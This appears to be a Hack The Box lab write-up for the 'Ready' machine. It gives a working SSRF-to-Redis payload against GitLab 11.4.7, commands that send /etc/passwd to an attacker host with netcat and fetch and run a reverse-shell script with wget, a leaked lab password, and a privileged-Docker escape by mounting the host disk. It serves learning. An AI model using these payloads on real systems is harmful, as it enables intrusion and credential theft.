HTB Ready

2021-05-15

Ready is a GitLab instance were we exploit an SSRF in order to get code execution and find ourselves in a docker container. We find some credentials to escalate to root inside the container and then leverage the fact it was started with the “privileged” flag to escape the container.

Enumeration

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-27 00:15 UTC
Nmap scan report for 10.129.90.66
Host is up (0.095s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.129.90.66:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.31 seconds

NMAP shows that port 22 is open for SSH and there is a GitLab instance running a web server on port 5080. A sign in page is accessible that allows new accounts to be created.

With a newly created account it is possible to check for any public projects or users to find more information in this box. However, in this instance there isn’t anything and the instance appears blank.

It is possible to access a help page which, among other things, lists the current version, 11.4.7 and the notice to “Update asap”.

Research on GitLab 11.4.7 there is a well know RCE through an Server Side Request Forgery, a type of vulnerability, where an an attacker can change a URL which the server will attempt to read or submit data too. In this case, it allows us to interact with an internal redis database service and start a malicious worker package. This vulnerability was was featured in Real World CTF 2018 and LiveOverflow created a video and blog post detailing it.

It is possible to follow along with the blog post to create a proof of concept allowing /etc/passwd to be read.

 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /etc/passwd | nc 10.10.14.142 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git

This payload is URL encoded and then git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ is added to the front to bypass the check filter to block requests to localhost on the GitLab server. The next step is to create a new project and chose to import a git repo by URL.

Provide our URL encoded payload, set up a netcat listener on port 1234, and then submitting the payload, returns the contents of /etc/password

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0A%20multi%0A%20sadd%20resque:gitlab:queues%20system_hook_push%0A%20lpush%20resque:gitlab:queue:system_hook_push%20%22%7B%5C%22class%5C%22:%5C%22GitlabShellWorker%5C%22,%5C%22args%5C%22:%5B%5C%22class_eval%5C%22,%5C%22open(%5C'%7Ccat%20/etc/passwd%20%7C%20nc%2010.10.14.142%201234%5C').read%5C%22%5D,%5C%22retry%5C%22:3,%5C%22queue%5C%22:%5C%22system_hook_push%5C%22,%5C%22jid%5C%22:%5C%22ad52abc5641173e217eb2e52%5C%22,%5C%22created_at%5C%22:1513714403.8122594,%5C%22enqueued_at%5C%22:1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A/ssrf.git

Foothold

Obtaining a reverse shell proved to be a bit tricky. Executing one reverse shell directly from called back but then terminated immediately. Instead, a shell can be obtained in few additional steps. Create a bash reverse shell in a script and start a python http server. Then use two SSRF requests. The first one downloads the revershell using wget. The second one executes it.

Get script.sh

 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| wget http://10.10.14.142/script.sh \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git

Execute script.sh

 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| bash script.sh \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git

User

Very first thing to do, especially since this was a pain, is to upgrade are shell so we have more options and are less likely to crash it.

git@gitlab:~/gitlab-rails/working$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<orking$ python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ ^Z
zsh: suspended  nc -lnvp 1234

┌──(nightwolf㉿archlinux)-[~/HTB/Ready]
└─$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'                                                                                          1481rows 54
columns 170

┌──(nightwolf㉿archlinux)-[~/HTB/Ready]
└─$ stty raw -echo; fg                                                                                                                                                1[1]  + continued  nc -lnvp 1234
                               stty rows 54 cols 170
git@gitlab:~/gitlab-rails/working$ export TERM=xterm-256color
git@gitlab:~/gitlab-rails/working$ exec /bin/bash
git@gitlab:~/gitlab-rails/working$

The user can be found in /home/dude/user.txt but the current user of gitlab is unable to read the file itself. gitlab doesn’t have any interesting groups or files that stand out in it’s home folder. There don’t have any passwords to try with suds or su. Expanding the search, for config files that might contain credentials or other interesting info, .dockerenv is found. This is a file in the root of the file system, letting us know that the current shell is inside a docker container.

In the the /opt directory there is a folder titled “backup” inside are various configuration files for GitLab and a docker compose file that looks to have been the same one that may have been used to start this container.

Another file present in the same folder is gitlab.rb a configuration file for GItLab. There is a lot of data to sift through inside it. Grep can be used to to filter out some more useful info. For example the following can be used to find references to “password “grep -R "password" ./ and reveals, wW59U!ZKMbG9+*#h.

This password is not valid for dude but does allow su to root user inside the container. User.txt is also accessible.

Root

Docker is a platform that makes use of Linux namespaces to provide an isolated environment called a container. They can seem similar to virtual machines but are different on a technical level. If you want to read some more about that you can check out the documentation

The docker compose file found before showed the container was likely started with the --privileged flag, not something. The --privileged flag launches the container with extended privileges that can be abused.

From the documentation, “By default, Docker containers are “unprivileged” and cannot, for example, run a Docker daemon inside a Docker container. This is because by default a container is not allowed to access any devices, but a “privileged” container is given access to all devices (see the documentation on cgroups devices ).

When the operator executes docker run --privileged, Docker will enable access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the same access to the host as processes running outside containers on the host. Additional information about running with --privileged is available on the Docker Blog .”

This is going to enable escape from the container and gain root on the host in two very simple commands. First make a directory and then simply mount sda2 in that directory.

mkdir -p /mnt/hola
mount /dev/sda2 /mnt/hola

From the the file system from of the host system is accessible the container. /mnt/hola/root contains the root flag.

It is possible to obtain a root shell on the host system itself through several methods. One of which is retrive the root ssh key from, /mnt/hola/root/.ssh/id_rsa

Wrap up

Huge thanks to bertolis for creating this machine. I did see several comments talking about how it was very similar to another machine that was active at the time but it still felt unique to me, especially after foothold. A docker escape was also pretty fun and I’d like to learn more advanced ways to do that in the future.

HTB Delivery

Cyber Apocalypse 2021: Backdoor